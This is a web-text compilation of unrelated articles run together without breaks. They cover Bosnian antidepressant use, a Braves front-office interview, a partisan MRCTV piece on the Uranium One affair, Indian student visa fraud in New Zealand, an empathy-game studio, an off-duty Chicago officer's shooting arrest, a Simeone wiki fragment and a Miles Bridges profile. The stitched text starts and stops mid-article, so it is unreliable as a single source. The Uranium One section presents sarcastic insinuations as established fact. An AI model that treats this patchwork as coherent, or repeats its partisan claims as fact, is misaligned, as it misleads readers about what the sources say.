"In a perverse way, this is true of Bosnia, too. We're no longer at war, and though we are still suffering from its long-term effects, this is at the same time one boring country in the sense that nothing changes, nothing is moving forward, only the constant and repetitive cycle of political and economic corruption and scandals, disputes with neighboring countries, or between the entities within Bosnia," Grebo says. "This is so mind-numbingly boring that we don't see any individual resistance, much less any collective protest. Apathy reigns because the people have been trampled over. They are stupefied. And we are all just tired and bored.... If only we could have another war!"
This is, of course, a joke, typical Sarajevan dark humor that thrived in the city under siege and that had an infectious effect on many foreign journalists. One reporter, Anthony Loyd, channeled this Bosnian propensity for making light of extreme stress and trauma in his book, My War Gone By, I Miss It So. He had come to war-torn Bosnia in order to deal with his own addiction problems and ended up becoming addicted to war -- going on to seek the thrill in other conflict zones around the world.
The psychologist Srdjan Puhalo also recognizes that while high levels of anxiety and depression have been a constant in Bosnia since the beginning of the war, their causes have changed, and the stresses that afflict Bosnians today are comparable to those of their counterparts in more developed countries.
"In the 1990s, we had war, but this is now a society in transition in which many people are finding it hard to orient themselves," he explains.
"Most people simply feel left out, or that they are losing out, and the sheer passage of time and all that is happening around them takes its toll, regardless of one's mental strength. In that situation, the easiest thing is to see a doctor or simply buy pills," says Puhalo.
However, the head of the psychiatric unit at the Tuzla University Clinic (UKC), Dr. Alija Sutovic, points to the dangers associated with the long-term use of antianxiety and antidepressant drugs, especially without the supervision of a doctor. These include memory loss, emotional detachment, and dependence that sometimes only takes a week to develop but up to two months to overcome.
Sutovic blames the stigma of mental illness as the main reason why so many cases of anxiety and depression are never reported or treated clinically, and explains the prevalence of self-medication.
"We try to dispel these fears and myths, and people who come to the clinic for treatment are quickly convinced of the scientific basis of our treatment, and they can see that it produces results, within certain limitations," adds Sutovic. "We do not have bars on our windows -- this is a modern institution -- and many of our beds are empty because we are able to provide services on an outpatient basis."
The rising use of antidepressants in Bosnia seems to be the sign of a society that is both dealing with the psychological legacy of war, as well as more common pressures and anxieties of a 21st-century society in transition -- albeit one with a particularly grim political and economic outlook.
The views expressed in this blog post do not necessarily reflect those of RFE/RL.It’s been a busy three months for new Braves president of baseball operations John Hart. Some moves that he’s made left fans and others scratching their heads and wondering if the Braves are rebuilding or trying to win now, when actually they’re attempting to do a little of both.
Hart discussed the team’s situation with Journal-Constitution Braves writer David O’Brien on Wednesday. This is the second of two parts of that interview, edited slightly for space.
Q. Could Dian Toscano, the Cuban free agent you signed, eventually provide a legitimate option in center field, as well as left field, the position where he’s played most?
A. I think so. This guy played in (Cuba’s) major leagues. He tried to defect three times, so he doesn’t have the big track record (like those who played for the Cuban National Team). That’s one of the reasons why he was affordable. We certainly like the player and feel he’s got a chance to compete for a job. In an ideal world he might be a guy that starts out at the minor league level. We’re still trying to fight through this whole visa issue. We’ve still got some things to do to make sure we can get this guy in here in time.
Q. Bigger picture: Are you and John Schuerholz and John Coppolella confident that when you move into the new ballpark in 2017, this grand plan will have you in a good spot, fielding a contending team?
A. Yeah, I do. I think it takes a little more time to get the farm system where you want it – that’s usually a three- to five-year sort of project, to really get the flow going where you have good depth. We’ve got some good young players in this system that we think at some point are going to be here. We just need to increase the depth level. That doesn’t always show up when you want it to, but I think over the next couple of years we’re going to be able to put some quality young players into the system. We do have a nice core. It depends on what we’re able to do, maybe, if we were to make any more deals (this winter) — the more upper-level talent you’re able to bring back, maybe the more it would impact sort of where we are in ’17…. As much as I’d like to say the couple of trades we’ve made are going to be impactful, I don’t know that we’re there yet. But obviously as we get closer to ’17, there’s going to be a little more emphasis put on it. But I think it’s going to be exciting. From my standpoint I’m never really satisfied that we’re all the way there.
Q. John Schuerholz said he doesn’t use the word ‘rebuild’ and doesn’t like to hear anyone else use it regarding the Braves. I guess it’s that fine line, where you’re trying to restock the whole organization, the minor league system and major league team, but also with an eye toward being a really good team when you move into the new ballpark?
A. Yeah, this isn’t Houston, where you’re going to go through two or three years of losing 100 games. I mean, that’s never been discussed. We want to be as competitive as we can, knowing that the contractual obligations that we have, and service-time issues we have with some players like (Jason) Heyward and (Justin) Upton, between that and the financial realities of what we’re dealing with, it’s a little tougher balancing act to always keep an eye on remaining competitive and trying to win, and at the same time keeping an eye on this great new stadium that’s coming in ’17. It’s not like we can just say, let’s just unload the club. Don’t want to do that. We’re not going to do that. It’s a little bit tougher because you’re not just sort of marching down one road, you’re marching down two of them.
Q. It’ not like you’re going to do as some have suggested and trade Kimbrel, trade Gattis, blow it all up…
A. No, not going to do that. We want these guys. There’s some young guys here who are going to be a big part in what we’re doing in ’15, ’16, and are certainly going to be here in ’17 and be a part of the core of that club. It’s who else can we keep putting around them, what kind of depth can we give this club. That’s sort of what we’re grinding with every day.
Q. Priorities for the rest of the winter? Get a starting pitcher and – well, I guess backup catcher, you can’t really doing anything there until you know the situation in left, as it pertains to Gattis?
A. Exactly right. I think the biggest priority is a starting pitcher. You’ve got (Nick) Markakis and Justin on the outfield corners. You’re hoping B.J. (Upton) is … you know. And then you look up at (third baseman Chris) Johnson and (shortstop Andrelton) Simmons. We’ll probably look a little bit at (Alberto) Callaspo (at second base); we might keep looking a little bit at another infielder, whether an everyday guy or an extra guy. And then you’ve got (first baseman Freddie) Freeman and Gattis. That’s the club. And the rotation, we’re four-deep with young starters. We’d like to add a fifth and even a sixth. And our bullpen, we’ve got (Craig) Kimbrel, (David) Carpenter, (Jim) Johnson, that’s a nice little back end.
Q. You’re OK to go with the current lefties?
A. Yeah, I think between James Russell; Chasen Shreve, who did a great job, and Avilan, who didn’t have a great year but dealt with a couple of injury issues. He didn’t throw enough strikes but we still like Avilan a great deal. (Shae) Simmons looks like he’s going to healthy, he showed very well last year. And (Juan) Jaime is out of options, that’s another big-arm guy that we look at. And Vizcaino that we traded for (from the Cubs). So I think we’ve got some inventory of nice arms.
Q. As for B.J., has (new hitting coach) Kevin Seitzer had a chance to talk to him or work with him?
A. Sometime in the next few days they’re going to have their first workout together. B.J. sent me a very nice text message that said, “I’m ready to go. I can’t wait to get started. I’ll be ready to go in spring training. You’ll see a different guy.” So we’re hopeful.
Q. Is it still preferable or important to get a veteran for that last rotation spot – Jake Peavy, for example — or at this point is it not so important because your young starters have experience?
A. That’s a great question. I don’t think it matters right now. A young pitcher with some upside, stick them into that 5-hole, I’d be just fine with that. Or if it’s a veteran guy. If we can’t find that, right now it’s a combination of James Russell and David Hale. If we can find a veteran guy that we like that can stabilize us for a year and maybe some of our youngsters down below develop a little bit, I’ll go that route. But if we can find a young guy that we like, a potential young starter that’s close, I wouldn’t be opposed at all to go that route.For those who like political circuses, the Bill and Hillary Clinton Roadshow has provided more than three rings.
From the Mena Airport drug-running allegations, to accusations of predatory sexual behavior and cover-ups, to shady-looking stock and land deals, to the closure of rich anthracite land in the U.S. that gave a foreign corporation the balance of power in that field, the Clintons have served us quite a number of dizzying tricks. But it appears that their biggest is just being revealed.
Bit by bit, chunk by chunk, the Clinton connections to the massive “Uranium One Scandal” are being reported, thanks to independent journalists around the world. To get you up to speed, and offer you a digestible serving of this vast, years-spanning, multi-billion dollar scandal, let’s offer a quick thumbnail of the topic and the new revelations.
The Scandal:
The Uranium One scandal is about uranium, of course, and state entities that can use it to make cupcakes, nuclear weapons, and, at less “enriched” levels, nuclear power. The title is derived from the name of the Canadian corporation, Uranium One, which, between 2009 and 2013, was acquired by Rosatom, the Russian atomic energy corporation. But Uranium One wasn’t just bought outright. The acquisition had to be approved, because Uranium One held mining stakes in the U.S that included 20 percent of U.S. uranium capacity. There is a U.S. government panel that oversees these “security” issues and had to approve this sale, but we’ll get to that in a moment.
In 2015, Jo Becker and Mike MacIntire reported for the New York Times that, as Rosatom attempted to acquire Uranium One, the corporation suddenly became very interested in generously donating to a non-profit organization -- none other than the Clinton Foundation.
You know, the foundation founded by Bill Clinton and his wife, then-Secretary of State Hillary Clinton.
As the Russians gradually assumed control of Uranium One in three separate transactions from 2009 to 2013, Canadian records show, a flow of cash made its way to the Clinton Foundation. Uranium One’s chairman used his family foundation to make four donations totaling $2.35 million. Those contributions were not publicly disclosed by the Clintons, despite an agreement Mrs. Clinton had struck with the Obama White House to publicly identify all donors. Other people with ties to the company made donations as well.
Much of this information was uncovered by the indomitable writer Peter Schweizer, and has been available in his huge book, “Clinton Cash”, since 2015. But, alas, it seems pop networks were too busy turning a blind eye to Mrs. Clinton’s illnesses and feeding her debate questions to be bothered to read the tome.
And that’s a shame, because it turns out that the big U.S. “panel” that has to approve the sale of “strategic” things like nuclear bomb fuel? It had, as one of its components, the U.S. State Department, which was headed at the time by none other than Hillary Clinton.
Not only was Hillary on that panel (called the Committee on Foreign Investment in the United States, or CFIUS), but so was Mr. Fast and Furious himself, Obama Attorney General Eric Holder and then-treasury Secretary Timothy Geithner.
And that’s not all! If you order now, the Uranium One Scandal will also give you this tidbit, no extra charge!
As Andrew McCarthy recently reported in a detailed piece for National Review:
In March 2010, to push the Obama “reset” agenda, Secretary Clinton traveled to Russia, where she met with Putin and Dimitri Medvedev, who was then keeping the president’s chair warm for Putin. Soon after, it emerged that Renaissance Capital, a regime-tied Russian bank, had offered Bill Clinton $500,000 to make a single speech — far more than the former president’s usual haul in what would become one of his biggest paydays ever. Renaissance was an aggressive promoter of Rosatom. The Clinton speech took place in Moscow in June.
So what are the new wrinkles in the face of the Clinton clown show?
The New Developments:
First, it turns out that in 2010, the FBI was investigating the head of Rosatom’s subsidiary, Tenex, and its U.S. branch, Tenam – a man named Vadam Milkerin. As McCarthy writes, Milkerin tried to hire a lobbyist, but that man, who remains anonymous but wants to testify to Congress, thought there were security issues:
So he contacted the FBI and revealed what he knew. From then on, the Bureau and Justice Department permitted him to participate in the Russian racketeering scheme as a “confidential source” — and he is thus known as “CS-1” in affidavits the government, years later, presented to federal court in order to obtain search and arrest warrants.
But something happened on the way to the arrests, and this leads us to the second huge slab of news.
As Sarah A. Carter notes in a massive and important piece for Circa, at the same time that CFIUS was deciding the fate of 20 percent of the U.S. government’s uranium reserves, the people involved with the Russian corporation trying to acquire them were paying off the Clinton Foundation, and the FBI was investigating the head of one of the Russian subsidiaries. Classic.
“At the time of the investigation did any of the U.S. law enforcement, intelligence or other agencies involved in the case inform the CFIUS board of the ongoing investigation? If not, why not? If they were informed, why did they make the decision they did to approve the Uranium One transaction? Did the president, himself, know?” a U.S. official who worked counterintelligence cases related to Russia told Circa.
And who headed the FBI at the time? Our hero in the current “Russian Election Meddling” probe, Robert Mueller. Who followed him into the FBI? James Comey, even as the CFIUS okayed the Uranium One deal.
It can’t get any better than that. Or can it?
In fact, it can.
The case being built against Mikerin in 2010 was under the supervision of Maryland U.S. Attorney Rod Rosenstein, then an Obama appointee who now serves as President Trump’s deputy attorney general.
And Mr. Rosenstein is the man who…
Picked Mueller to head the “Russian Probe.”
And one more thing with your order. It’s not new, but shouldn’t be lost in all the information about CFIUS, the FBI, Mueller, and the Clinton Cash circus.
As Investors.com reminds us, the lily-white, squeaky clean campaign head for Hillary C. was none other than John Podesta, of “Podesta Group” lobbying firm fame and who has had close ties to Russian energy for a while.
Hillary Clinton's campaign chief, John Podesta, served on the board of a small Russian energy company, Joule Unlimited, along with Russian officials. It took in $35 million from a Russian government fund, of course linked to Vladimir Putin. That money came just two months after Podesta joined the board.
So sleep tight, Americans. As always, your government and all its powerful agencies have been, and still are working diligently to “protect” you. Everything is okay. As Richard Butler said, “Open up your eyes just to check that you’re asleep again.”
The U.S. government has things under control.
(Cover photo credit: Gage Skidmore)
Thank you for supporting MRCTV! As a tax-deductible, charitable organization, we rely on the support of our readers to keep us running! Keep MRCTV going with your gift here!Insight - The work and residence rights that go with study visas to New Zealand have attracted thousands of what Immigration New Zealand suspects are dodgy applications from India.
But, at the same time, the government wants this country's international education market to reach an annual income of $5 billion a year.
Should more be done to protect the industry - and the students within it?
Photo: RNZ / John Gerritsen
Rain is bringing a chill to the Wellington Institute of Technology's main campus in Petone, but Rosline from Kerala in India says she's enjoying the cold of a Hutt Valley winter. It's a different experience, she says.
A fellow student, Ranjit from Punjab, says he's impressed by New Zealand's rules and regulations. Prameela, from Kochin, agrees. "People are more disciplined," she says.
There's a quiet excitement about these students, the sense of adventure that goes with travelling half-way around the world to study in another country.
Tens of thousands end up here every year and, to do so, they've had to work through a system of agents whose work can sometimes be questionable.
While most students are full of optimism, it's quite different for another group of Indian students I meet on an equally wet day in a lawyer's office in Auckland.
This time, the sense is one of desperation, even shock, and there are no smiles from these three students. For them, the dream of overseas travel, education and perhaps immigration has taken a turn toward nightmare.
Immigration New Zealand has discovered that the students' study visa applications included fraudulent financial documents, and it has told them to leave the country before they are deported.
The men say their agents faked the documents without their knowledge and they want to stay in New Zealand.
"How can I face my parents," asks one of the men, close to tears. "I'm unable to concentrate on anything," says another.
The two groups of young people represent two very different aspects of a boom that has taken Indian student enrolments from 12,000 in 2013 to more than 29,000 last year.
Enrolments are growing spectacularly at private tertiary institutions and polytechnics, and the students are estimated to be spending hundreds of millions of dollars a year on fees and living costs.
But Immigration New Zealand is turning down thousands of study visa applications from Indians it does not believe are really coming here to study.
Photo: RNZ / Julian Vares
It has also detected applications where the documents proving families have enough money to support their students while they are in New Zealand are faked or fraudulent.
Munish Sekhri is an education agent and licensed immigration agent, and he's not surprised by the problems New Zealand is encountering.
"We were sitting on a time bomb and it's just blown up."
Photo: RNZ / John Gerritsen
Mr Sekhri says New Zealand made the mistake of loosening English-language requirements for foreign students in 2013, resulting in a surge of dodgy applications from India.
The rules have been tightened, but the damage has been done.
"A lot of shoddy agents had came out in the market, it was just like mushrooming after a rainfall," he says.
"Those are the ones who know that this is a lucrative industry, let's stick to it, let's do anything dodgy, anything that gets a student into New Zealand."
Mr Sekhri says the government should require some form of licensing for education agents, just as it does for immigration agents.
But the Minister for Tertiary Education, Steven Joyce, has ruled that out, saying there's a degree of self-interest in immigration agents' call for licensing.
Instead, he's banking on changes to the Code of Practice that institutions must sign up to if they want to enrol foreign students.
The changes came into effect on 1 July, and Mr Joyce says they will make it easier for the New Zealand Qualifications Authority (NZQA) to hold institutions responsible for their actions and those of their agents.
He says institutions that don't behave could be removed from the code, preventing them from enrolling international students at all.
"What this does is make sure that NZQA, with supporting information from Immigration New Zealand, as the code administrator will be able to say 'no we're not happy with the practices here and if we don't see a very significant change you're placing your whole future at risk'."
But more might be needed.
Allegations of dodgy practice by some international education providers have been around for a long time and other institutions are frustrated by what they see as a lack of action.
'Very determined rogue operators'
Paul Chalmers is the spokesperson for the Auckland International Education Group, a group of about 30 private institutions specialising in the foreign student market.
"We have been consistently undermined by the practices of a number of small providers that are working with agents to allow students leeway that they should not be allowed," he says.
Photo: RNZ / John Gerritsen
He says institutions are not bothering to ensure students attend classes, are giving them qualifications they have not earned, and are working with agents who charge the students for job placements.
Mr Chalmers says Immigration New Zealand has increased its spot-checks of institutions, but it should combine its audits with those of NZQA.
"If we can combine those two programmes and perhaps get TEC [Tertiary Education Commission] involved, we think that that would see an end to shonky providers," he says.
"We're recommending secret shoppers for the very determined rogue operators in the industry and I believe that the monitoring that is now occurring, a combined auditing programme and secret shoppers will see these guys put out of business."
NZQA says it intervenes directly where it has evidence that a provider is not meeting its obligations to provide quality education or protect the interests of its students.
It says, since 1 July 2015, 40 formal complaints about signatories to the Code of Practice have resulted in investigations at 34 institutions and 12 statutory interventions.
The statutory interventions included ordering institutions to provide financial documents or stop sub-contracting other organisations to do their teaching.
But, in most of the cases, NZQA simply asked for the education providers' side of the story, and concluded there was no problem.
However, the authority says changes to the Code of Practice have strengthened its arm.
"From 1 July, NZQA will also have new powers and will be able to remove or suspend a provider as a signatory to the Code of
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a PlayStation account? No one.”
So for Minority’s latest game, Spirits of Spring, the studio switched to the more general audience-friendly iOS platform — iPhones and iPads. The emotional content, however, is just as tender. Spirits of Spring focuses on bullying, a complex social problem that is confounding experts in the fast-moving realities of an Internet culture.
“The only person who can tell the story and bring people to a place of healing is someone who has lived it,” Caballero says.
And that’s where Ruben Ferrus comes in. The creative director for Spirits of Spring was bullied as a child, and had nightmares straight into adulthood about his tormentors. “This project was like my therapy,” he says. “For my whole life I had nightmares of being bullied. With my bullies coming and pushing me around, and not being able to fight back. That was my pain: even if I wanted to I couldn’t fight back…. By the time I finished this project, my nightmare had changed. I still have it, but now I react. I stop it.”
‘We’re not psychologists. We’re artists’
Spirits of Spring gives the player control of Chiwatin, a Cree boy, and his friends Bear and Rabbit. They’re bullied by a trio of crows that use psychological intimidation, much like children in the real world experience in school and online. The historical links to the abuse of students in Native Canadian residential schools was a deliberate factor in choosing this setting. “We knew that by going with that setting, people would feel even more close to the theme,” Ferrus says.
Spirits of Spring deals with the perils of retaliation, the importance of the reactions of bystanders and the feelings of guilt, despair and hopelessness that bullied children experience. The Minority team wanted to address these dark, cold mental states through the metaphor of the crows plunging Chiwatin’s home into a perpetual winter, with Chiwatin and his friends having to bring back spring. The game focuses on cooperation, and has whimsical moments, humour and a gentle approach that is appropriate for children and adults alike. But do these fictional accounts of bullying actually build empathy in the player?
“Empathy is not just showing compassion for the feelings of another. Instead, empathy is understanding how the world looks and feels to another in their current situation,” says therapist and former game designer Howard Scott Warshaw, also known as the “Silicon Valley Therapist.”
“The kinds of things that need to be done to encourage empathy are probably beyond the scope of a video game. The crucial part of building empathy is having a caring relationship in which I feel valued. Video games are interactive experiences, but they are not relationships.” So who is right? The studio or the therapist? Both, likely.
“We’re not psychologists,” Caballero says. “We’re artists. And it’s important that we keep what we’re doing in the realm of art.”
But there have been some tangible results. Romero fields reactions from fans who have been touched by Minority’s games, including powerful anonymous letters from those insisting Papo & Yo has helped them. Informed by that, Minority’s empathetic approach extends to their marketing and social media strategies, too.
‘We’re writing our own marketing book as we go’
“I like to say we’re writing our own marketing book as we go,” Romero says. “For an empathy game, the marketing strategy is very linked to the nature of the game itself, to the story of the game. We’re not marketing Spirits the same way we did Papo, but they’re both empathy games.” For Spirits of Spring, Romero spearheaded an initiative where free copies were provided to professionals who work with youth to get feedback on the game.
“This has more to do with our values as a company than with anything else. We make games, yeah. But the end of the day we like to end up with something that will help build someone’s life. From our experiences, schools are one of the places where we experienced [bullying] a lot.”
“If a kid plays this game and they’re going through [bullying] … I want them to feel like they’re not alone,” Ferrus says. “That I’ve gone through this, that they’ll go through this. That there are people to help them.”An off-duty Chicago police officer is accused of firing multiple gunshots at another officer who tried to pull him over on suspicion of drunken driving.
The 52-year-old officer, whose name was not released, was driving his personal vehicle about 4 p.m. Sunday with another off-duty Chicago cop in the passenger seat when they were stopped by Merrionette Park police.
The Merrionette Park officer ordered the driver out of the car, saying he had been driving erratically, but the Chicago cop drove away.
The suburban officer called 911 and followed the vehicle until it stopped at an intersection near the Morgan Park District police station — where the off-duty officer was assigned.
The off-duty officer got out of his vehicle with a gun in his hand and approached the Merrionette Park officer, police said.
The Merrionette Park officer ducked and drove off as the off-duty officer fired about five shots at the police cruiser, investigators said.
The off-duty officer was later arrested on suspicion of driving under the influence, and he likely will face additional charges.
The officer’s arrest powers were stripped while the investigation is under way.
“If the allegations are true, the actions and behavior demonstrated by this officer are beyond unacceptable, have absolutely no place in our department and he will be separated from CPD,” the Chicago Police Department said in a statement.Club career Edit
International career Edit
Style of play Edit
Simeone was regarded as a tenacious, versatile, hard-working and complete two-way midfielder who was mobile, good in the air and capable both of winning balls and starting attacking plays, also having a penchant for scoring several goals himself. This enabled him to play anywhere in midfield throughout his career, although he was usually deployed in the centre in a box-to-box or defensive midfield role.[11][12][13] A talented yet combative player, he was primarily known for his leadership, tactical versatility, intelligence, strength and stamina,[14] although he was also praised by pundits for his technique, vision and passing range.[11][14] Simeone once described his style as "holding a knife between his teeth".[11] His main inspirations as a player were Brazilian midfielder Falcão and German midfielder Lothar Matthäus.[15]
Managerial career Edit
Tactics Edit
Career statistics Edit
Honours Edit
Personal life Edit
Simeone's sons Giovanni and Gianluca are professional footballers, currently playing for Fiorentina and Gimnasia y Esgrima respectively.[61] His third son, Giuliano, has been seen as a ball-boy for Atlético Madrid.[citation needed]
See also EditThis story appears in the Nov. 6, 2017, issue of Sports Illustrated. Subscribe to the magazine here.
Maybe Miles Bridges isn't as crazy as his mom thought. Maybe he isn't "a weirdo," like Tom Izzo says. Maybe returning to Michigan State for his sophomore year, instead of being an NBA lottery pick, was a normal and sensible decision, and we're the ones who are out of our minds.
You're skeptical. Of course you are. You have come to see college basketball as a highway rest stop, where the best players play 30 games, gas up and buy Doritos on their way to the NBA. Bridges was tabbed as one-and-done before he even started his one. Kentucky coach John Calipari promised Bridges's mother that if Miles came to Lexington, he would be ready to leave after one year. Michigan State's Izzo had the same idea: "I won't hold him back."
But what if Bridges held himself back? What would people say? After the last game of his freshman season, a 90-70 NCAA tournament loss to Kansas, he sat in the locker room and thought about the decision he had already made.
"I knew I was staying," he says. "But I knew the backlash [was] coming, people going after me: 'Why would you stay?'"
He knew one of those people was his mother. Cynthia Bridges planned to retire from her job as a receptionist when he turned pro. She was about to have a second knee-replacement surgery, and she was going to have medical expenses. So when Miles called her and said he had decided to become that most dreaded word in college basketball, a sophomore, she was incredulous.
Cynthia said: "Miles, the bills are going to start coming in."
And Miles said: "Ma, you'll be O.K."
And his mom said: "What are you going to get if you win a championship? A cap and a shirt. What will Coach Izzo get? Millions."
And Miles said: "Money's the root of all evil. I'm not in it for the money."
Cynthia says she tried "anything and everything" to change her son's mind. But the battle was lost. Truth is, it was lost before he ever played a game at Michigan State. It was lost one night on campus, shortly after Bridges arrived in East Lansing. He and freshman Josh Langford were hanging out with junior Lourawls (Tum Tum) Nairn Jr., talking about spirituality and religion and the purpose of their existence from 8 p.m. until 2 a.m.
Bridges started crying.
He told them, "This is what I prayed for before I got to college—to have a spiritual connection with people, and find people who really care about me."
Maybe you want us to stop right here. Come on! How naive can we be? This is college basketball. The best players leave. There must be more to this story.
Adam Ruff/Icon Sportswire via Getty Images
Maybe Bridges just isn't that good. Ah, but he is: Bridges is a 6'7" NBA Slam Dunk champion waiting to happen. Because of injuries to several Spartans, he played out of position at power forward last year, and he battled a left-ankle injury, but he still scored an efficient 16.9 points and grabbed 8.3 rebounds per game. He probably would have been selected between eighth and 12th in a loaded draft, but in a typical year he would have gone in the top five.
You might think Izzo mind-tricked him into staying. Actually, Bridges says, "Coach even tried to push me out a little bit. He kept asking me, Are you sure?" Izzo told Bridges that most guys who flirt with the NBA and come back still have their eyes on the pros. Izzo told him, You can't come back just to win a national championship. It's too unlikely. Too much has to go right. And you might not improve your draft position, either. College basketball is awful at Hollywood endings.
If another team wins the title and Bridges fails to improve his draft position, opposing coaches will tell top prospects that Bridges wanted to leave but Izzo persuaded him to stay. Looking solely at recruiting, Izzo says simply, "I'm f-----."
That, however, would be Izzo's problem. When Bridges told his coach he was staying, Izzo still didn't believe him. A year earlier Izzo had gone for a drive with freshman Deyonta Davis. As they sat at a stop sign, Davis told him he was staying. Davis left. And Bridges was a much better prospect.
Bridges's teammates had been telling their coach: Miles is coming back. Before the season had ended, Bridges told Langford and Nairn he wanted to stay in school. Langford was surprised at first. He knows how the sport works. But Langford did not need to ask any follow-up questions.
"If he says something, he means it," Langford says. "I never second-guessed it."
Izzo didn't realize that Bridges—unlike most players considering a jump to the NBA—was not making a decision based on money or trophies. Bridges, Langford and Nairn had been gathering every night for a Bible study and to talk about God. Langford says, "All three of us cry. A lot. You just kind of get thankful about certain things." Bridges was thankful for his talks with Langford and Nairn. He didn't want to leave them.
Maybe we should explain to nonbelievers and skeptics, the Spartans welcome nonbelievers and skeptics. Ask Nairn about his "religious beliefs," and he corrects you.
"Not religion," Nairn says. "Spirituality. Josh and Miles are both spiritual dudes. I think religion pushes people away from what's really true. You put people in a box: Muslim, Buddhism, Christian, Catholic... and all of that is, If you don't believe what I believe, it separates us from God, separates us from each other. Everybody has their own beliefs."
Bridges was a choirboy as a child, and like many choirboys he sometimes complained about getting dragged to church on Sunday mornings. At Michigan State he started to see his faith as more than just a set of rules. He started putting other people ahead of himself, and it made him happier.
Michigan State coaches say they have never had a superstar like him. He cried when his teammate Eron Harris suffered a career-ending knee injury last February. He returns his coaches' calls and texts quickly, and when he doesn't, he is either in class or at Bible study. He does not own a car.
"He walks everywhere," Nairn says, giving just one example of how his friend keeps things simple. "He understands [his purpose] is bigger than basketball. You have the ability to make somebody's day. I've never seen him turn down a picture. Never seen him turn down an autograph. When your best player is humble, it helps your team be like that."
Mark Goldman/Icon Sportswire via Getty Images
Maybe this is the problem with college hoops: Everybody is so eager to leave school, they forget the value of being there in the first place. That's what Izzo thinks. He sees players who can't wait to get out—some for the pros, but many more who transfer at the first sign of hardship—and he wonders if the value of the college experience is being lost. He thinks back to the signs in his locker rooms as a kid: WHEN THE GOING GETS TOUGH, THE TOUGH GET GOING. Or the old Bo Schembechler line: THOSE WHO STAY WILL BE CHAMPIONS.
"Now," Izzo says, "it's, Those that stay a year might be champions—otherwise, let's get the hell out of Dodge. And: When the going gets tough, bolt. The sayings have gotta change."
Izzo sees so many players transferring for more playing time, and he thinks, How will they learn to work through failure? (Michigan State does have two transfers on its roster.) He knows some players are ready for the NBA after one season, but he sees others leave and thinks, Do they really know what they're doing? Are they leaving because they want to or because they feel like they're supposed to? He thinks a lot of them end up in a hotel room on the road with plenty of money, plenty of time and no idea how to manage either.
"Hard to adjust, man," Izzo says. "I don't know why people think you can just do that. It sounds like I'm going against what the kids want to do. I don't want [future NBA players] to stay four years. But would two or three be better for them to be successful? Ninety percent of the time, the biggest growth is between your freshman and sophomore years."
Izzo thinks we have taken the crucial formative years from the ages of 12 to 21 and distorted them. We obsess over career paths: play one sport, study one subject, focus on one goal. He would rather see athletes play three sports ("You're not getting quite as good, maybe, but you're more well-rounded") and fewer games in the summer. He says, "We're putting so much pressure on these kids." And not just athletes. He saw a TV segment on a 15-year-old who went to Harvard, and he felt bad for her. He wondered, How will she ever have a life?
"I'm cool," Izzo says. "I already got my championship; I'm in the Hall of Fame; I've got everything that a coach can have. But I do care about the kids, and I do care about the profession. And I'm still trying to figure out: Who does it benefit?"
His mentor, Jud Heathcote, used to say that every freshman was unhappy. But they stayed. They learned to work. They figured out who they were and what matters to them. They made lifelong friends. Isn't that why people go to college?
Greg Nelson/Sports Illustrated
Maybe it will help you to know that for the longest time, Bridges was just like every other player eyeing the pros. His father, Ray, started talking about Miles's NBA career when Miles was in elementary school. (Ray and Cynthia separated five years ago.) It was all Miles wanted as a kid in Flint, Mich. When his mom signed him up for T-ball, he sat in the outfield and played with the dirt. He tried karate but got bored. He played football briefly but wasn't interested.
He was a pretty good student, but even then, every essay was about basketball. His sister Tara, who is nine years older, sat him down and tried to get him to write about something else, anything else. How about squirrels, Miles? He finally wrote a story about a fantasyland. But the ruler of the land was named King LeBron. Tara gave up.
Miles grew tall and jumped absurdly high, and after his freshman season at Flint Southwestern Academy, he did what so many top players do these days: He left his hometown for a private school, Huntington Prep in West Virginia, one of those basketball factories that attracts talent from around the country. The Timberwolves' Andrew Wiggins and Gorgui Dieng went there. So did the Lakers' Thomas Bryant.
But it didn't feel exactly right to him.
"People try to put all the top players together on the same team," Bridges says. "That just takes away the whole competitiveness of the game, the fun of it. It's the same way in the NBA right now. You should play [high school ball] where you came from instead of going somewhere to play."
He didn't hate Huntington, but his heart wasn't in it. He became a selfish player. He didn't mean to do it, and maybe nobody else noticed. But he did. Recruiting rankings would get updated, and Bridges would obsess over passing whoever was in front of him on the list. He focused on individual glory: get invited to the McDonald's All-American Game and the Jordan Brand Classic. (He was selected for both.)
Before his senior year Bridges asked his mom if he could move back home. Cynthia said no. She wanted him to finish what he started, and besides: Flint was a dangerous city with lead in its water. Flint was a place you tried to leave. Why was he so determined to go back?
Miles says, "The only thing I could think about was, How was I going to be able to come back and win a championship for Flint or Michigan?" He wanted to strengthen his roots. Even now, when you ask him what he will do when he does make millions, he immediately mentions giving money to Flint's Boys & Girls Club and the people suffering from the water crisis. Says Bridges, "I feel like that's my purpose in life. The city is what raised me."
Maybe you should know: Even after Bridges told Nairn and Langford he was coming back, he did his due diligence. He contacted former Michigan State stars Draymond Green, Gary Harris and Denzel Valentine. None of them told him what to do. But Green stayed four years and has no regrets. Harris came back for his sophomore year and is glad he did. Valentine told Bridges he wished he could have had a fifth year at Michigan State.
We should all remember that the next time we say a player's draft stock is so high that he "has to go." No. He can go. He can also stay. He doesn't have to apologize for either.
MATT MITCHELL/MSU ATHLETIC COMMUNICATIONS
Maybe Bridges is only a "weirdo" in the sense that he doesn't care if you call him a weirdo. He wants to play one more year for a coach who can't trade him, and with teammates who go to class with him. He has refined his game, too. Last year he scored mostly at the rim (using his freakish athleticism) or from behind the three-point line. At a recent practice he showed off a new aspect of his game, slicing through the defense, then pulling up and hitting a midrange jumper. Langford says Bridges is a much more complete player now.
Bridges says he wants to get a 4.0 GPA before he leaves, or at least a 3.5, which would land him on the dean's list. This won't help him get drafted into the NBA and it won't earn him a degree in journalism, because everybody knows he is leaving after this season—for real this time. But he wants to make the Dean's List because his grades were just O.K. last year and he thinks he can do better.
Izzo called him the night of the draft to see if he had any regrets. Bridges said he did not. This summer Malik Monk, the 11th pick, bought his mother a new house and car. Bridges got himself a cat. He named it Calypso, after his favorite brand of lemonade.
Maybe you think this won't last. Maybe you think Bridges will get rich and even more famous, and he'll change. He'll be the dunking equivalent of the philosophy major who ends up running a hedge fund or the idealistic law student who ends up defending white-collar criminals.
Maybe you're right, or at least partially right. But that's even more reason Bridges should savor this time in his life. He has one chance to be 19 years old, with 19-year-old dreams and 19-year-old values and 19-year-old friends. He knows that someday, "I'll have a family, bills to pay, my mom and my sister to take care of. But I can come back, always. It will give me memories of how I was."
Nairn says, "The kid wanted to get better, but he also wanted to grow spiritually for when he goes into that world."
